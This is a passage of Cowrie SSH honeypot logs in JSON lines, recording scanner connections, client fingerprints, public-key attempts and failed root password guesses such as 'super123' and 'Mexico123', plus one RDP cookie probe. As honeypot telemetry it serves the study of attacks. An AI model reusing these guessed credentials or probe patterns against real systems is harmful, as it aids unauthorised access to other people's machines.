iffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.470188Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":59200,"dst_ip":"159.203.135.109","dst_port":22,"session":"d15eadb9886c","protocol":"ssh","message":"New connection: 147.45.197.250:59200 (159.203.135.109:22) [session: d15eadb9886c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.625804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.631603Z","src_ip":"147.45.197.250","session":"d15eadb9886c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.724772Z","src_ip":"147.45.197.250","session":"d15eadb9886c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:70:89:1b:28:f8:60:ac:0e:9b:90:6c:0a:2b:21:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKXgiuoHABotcOWc2FJMHwobJQnF1U19bn/5klX9HcCB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9b:70:89:1b:28:f8:60:ac:0e:9b:90:6c:0a:2b:21:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.808743Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:70:89:1b:28:f8:60:ac:0e:9b:90:6c:0a:2b:21:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKXgiuoHABotcOWc2FJMHwobJQnF1U19bn/5klX9HcCB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.812482Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:cd:bc:54:75:ab:28:5b:79:56:cf:5a:90:b3:15:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp9Ad+yNrEtG4SbP9NCM2AxdSS195FZNuqXDkVje3PJcoeNnNqkHYMs9yU2w/qvLUcOZDa1eP7QMFO8FyP3z1sW1FyOrjDWj2PYOqleB7foZgcBdt7dxwpW8+83mDo45nnNU+htECHXeBKZg32KEXvUoJbdAEizFVL4cLx3YoSJm4ltW0i/p4Fz2NtMCZQSaqsRhi7UK0FmvGsERKE1+REytvtDofY5+yfQkNZ+qSvKSun8Fe0++q2Wol9I3t7C0QTljB0ygPTs88UkqcB4MzwzK82ERW6tb2ixnSuxytXYLE2TWuhhqDxTVFxvQqSdkcKIOQxppS+r0SWpGtUjHFx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:cd:bc:54:75:ab:28:5b:79:56:cf:5a:90:b3:15:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.887694Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:cd:bc:54:75:ab:28:5b:79:56:cf:5a:90:b3:15:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp9Ad+yNrEtG4SbP9NCM2AxdSS195FZNuqXDkVje3PJcoeNnNqkHYMs9yU2w/qvLUcOZDa1eP7QMFO8FyP3z1sW1FyOrjDWj2PYOqleB7foZgcBdt7dxwpW8+83mDo45nnNU+htECHXeBKZg32KEXvUoJbdAEizFVL4cLx3YoSJm4ltW0i/p4Fz2NtMCZQSaqsRhi7UK0FmvGsERKE1+REytvtDofY5+yfQkNZ+qSvKSun8Fe0++q2Wol9I3t7C0QTljB0ygPTs88UkqcB4MzwzK82ERW6tb2ixnSuxytXYLE2TWuhhqDxTVFxvQqSdkcKIOQxppS+r0SWpGtUjHFx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.891727Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:38:3f:d6:b7:a4:e7:28:91:33:ea:17:b4:f4:53:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYyPzjcMNnStNZ+zUc91CWSRBVjwW6ZRpCZ3qDgHIa+R1N2+iBzJE7Xkg77o7B9qMdeeOxERahd1Mf3tGvOB2oWy21GGLYYURq0gmnHLT0kSuW5kivR0IlKKLAVNmmQAorFh5YQKZm+z8Q1Lt++pjU7maadillLo3WLk7WoUzW9mFVqGNL6yp1VDyNGLlAhXTihRTX0nBUQeQzAlsBn//jFm0rSjDFzNIzxMiEWWzL2SLdMUdBy8fNTAe6mkTf+sIxXkUXRg189OVZ85FTLV1zl1MDPO9QW1Nz/4b8dvdBAM2u+CJNAflyRfv6/dqTfd4kEpoG1P7Xd1RHfe+aDn0N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:38:3f:d6:b7:a4:e7:28:91:33:ea:17:b4:f4:53:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.965456Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:38:3f:d6:b7:a4:e7:28:91:33:ea:17:b4:f4:53:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYyPzjcMNnStNZ+zUc91CWSRBVjwW6ZRpCZ3qDgHIa+R1N2+iBzJE7Xkg77o7B9qMdeeOxERahd1Mf3tGvOB2oWy21GGLYYURq0gmnHLT0kSuW5kivR0IlKKLAVNmmQAorFh5YQKZm+z8Q1Lt++pjU7maadillLo3WLk7WoUzW9mFVqGNL6yp1VDyNGLlAhXTihRTX0nBUQeQzAlsBn//jFm0rSjDFzNIzxMiEWWzL2SLdMUdBy8fNTAe6mkTf+sIxXkUXRg189OVZ85FTLV1zl1MDPO9QW1Nz/4b8dvdBAM2u+CJNAflyRfv6/dqTfd4kEpoG1P7Xd1RHfe+aDn0N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.969809Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123","message":"login attempt [root/super123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:28.004909Z","src_ip":"147.45.197.250","session":"d15eadb9886c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:4d:0b:69:e0:83:2b:21:74:5d:40:15:16:08:9b:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJy2F38mSVmfqJgK9M8qzXCnZJ2Q1UvS0QHxeki8rGkFzjUpIP0aorNrDT1CqVZbkUmuQeElNw4OBuFfDW0hJ4aOlKWtcRGGSnkgqJjjjzu9hVqGmpvoDP7/LPwI21kWROZaMCkp980LGRgPBga3Ps5+6tl5II/HEoCxYS5WN5ehysgdIdlwcwYezvIKAOkqYBcdnuXRmMeHn4TiGRFPL1P7+xOi2DdLWJffWdE7yRjOgrBs7wJUxhO7k3iJm8Su4iVJS8/9b4lBO0Ibwz88K3v0l6GKMI74r366xAQiplUP/0F66O+LoR/CwrbAFrC5+oEVnfY0hXpq0Zh1mzc0ML","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:4d:0b:69:e0:83:2b:21:74:5d:40:15:16:08:9b:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:28.047966Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:4d:0b:69:e0:83:2b:21:74:5d:40:15:16:08:9b:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJy2F38mSVmfqJgK9M8qzXCnZJ2Q1UvS0QHxeki8rGkFzjUpIP0aorNrDT1CqVZbkUmuQeElNw4OBuFfDW0hJ4aOlKWtcRGGSnkgqJjjjzu9hVqGmpvoDP7/LPwI21kWROZaMCkp980LGRgPBga3Ps5+6tl5II/HEoCxYS5WN5ehysgdIdlwcwYezvIKAOkqYBcdnuXRmMeHn4TiGRFPL1P7+xOi2DdLWJffWdE7yRjOgrBs7wJUxhO7k3iJm8Su4iVJS8/9b4lBO0Ibwz88K3v0l6GKMI74r366xAQiplUP/0F66O+LoR/CwrbAFrC5+oEVnfY0hXpq0Zh1mzc0ML","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:28.051482Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:e1:2e:32:17:93:15:39:93:34:ee:92:dd:ee:27:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUpivbCQieH4Y2sITVcQNdpuvxoTnf6EPPLNGiSLOxKgSgYi4410ibw4qEbmZKpmuIChqa+5VjYuK8xYMe5uajBARIoQLZUEr2m35KgLcp/R04eMV/zWuRLjYuopmvtEk3dDvbfnzgi7EaTWi0miRvMXo8w2uNg/in7uGEYdIkYDjCPXmV/ucL2w1pj1unb+nLJI6PU0O+A13ko/4oIiFATs9X4pu7kXX+Mo6xIoYU9vAxJx/EAzRHajWsB/+oH/FrmpejSwMbEvHJdwzznZfs20ym/qYHJVlrqTxNxbGoywiDwpBztRFm8eMe5RYv/5MJxa/hsSeftOS3VjWrhBWP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:e1:2e:32:17:93:15:39:93:34:ee:92:dd:ee:27:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:28.122786Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:e1:2e:32:17:93:15:39:93:34:ee:92:dd:ee:27:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUpivbCQieH4Y2sITVcQNdpuvxoTnf6EPPLNGiSLOxKgSgYi4410ibw4qEbmZKpmuIChqa+5VjYuK8xYMe5uajBARIoQLZUEr2m35KgLcp/R04eMV/zWuRLjYuopmvtEk3dDvbfnzgi7EaTWi0miRvMXo8w2uNg/in7uGEYdIkYDjCPXmV/ucL2w1pj1unb+nLJI6PU0O+A13ko/4oIiFATs9X4pu7kXX+Mo6xIoYU9vAxJx/EAzRHajWsB/+oH/FrmpejSwMbEvHJdwzznZfs20ym/qYHJVlrqTxNxbGoywiDwpBztRFm8eMe5RYv/5MJxa/hsSeftOS3VjWrhBWP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:28.127122Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:28.200555Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:29.100822Z","src_ip":"147.45.197.250","session":"d15eadb9886c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56106,"dst_ip":"159.203.135.109","dst_port":22,"session":"63b2c6f08b02","protocol":"ssh","message":"New connection: 152.42.212.128:56106 (159.203.135.109:22) [session: 63b2c6f08b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:41.809360Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:41.814558Z","src_ip":"152.42.212.128","session":"63b2c6f08b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:41.818378Z","src_ip":"152.42.212.128","session":"63b2c6f08b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":50662,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec2ce165388","protocol":"ssh","message":"New connection: 72.17.34.38:50662 (159.203.135.109:22) [session: 9ec2ce165388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:47.576523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:47.580134Z","src_ip":"72.17.34.38","session":"9ec2ce165388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:47.614623Z","src_ip":"72.17.34.38","session":"9ec2ce165388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vj","message":"login attempt [root/vj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:47.786706Z","src_ip":"72.17.34.38","session":"9ec2ce165388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:48.824713Z","src_ip":"72.17.34.38","session":"9ec2ce165388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":45190,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9b2c4afc841","protocol":"ssh","message":"New connection: 89.108.118.91:45190 (159.203.135.109:22) [session: c9b2c4afc841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:12.629073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:12.634955Z","src_ip":"89.108.118.91","session":"c9b2c4afc841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:12.777781Z","src_ip":"89.108.118.91","session":"c9b2c4afc841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazaqaz","message":"login attempt [root/qazaqaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:13.197025Z","src_ip":"89.108.118.91","session":"c9b2c4afc841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":37140,"dst_ip":"159.203.135.109","dst_port":22,"session":"59366c023059","protocol":"ssh","message":"New connection: 209.99.184.143:37140 (159.203.135.109:22) [session: 59366c023059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:13.259090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:13.264314Z","src_ip":"209.99.184.143","session":"59366c023059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:13.357203Z","src_ip":"209.99.184.143","session":"59366c023059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mexico123","message":"login attempt [root/Mexico123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:13.767073Z","src_ip":"209.99.184.143","session":"59366c023059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:14.336215Z","src_ip":"89.108.118.91","session":"c9b2c4afc841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:14.864412Z","src_ip":"209.99.184.143","session":"59366c023059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":42228,"dst_ip":"159.203.135.109","dst_port":22,"session":"282168427fc2","protocol":"ssh","message":"New connection: 202.79.29.108:42228 (159.203.135.109:22) [session: 282168427fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:24.224281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:24.228781Z","src_ip":"202.79.29.108","session":"282168427fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256"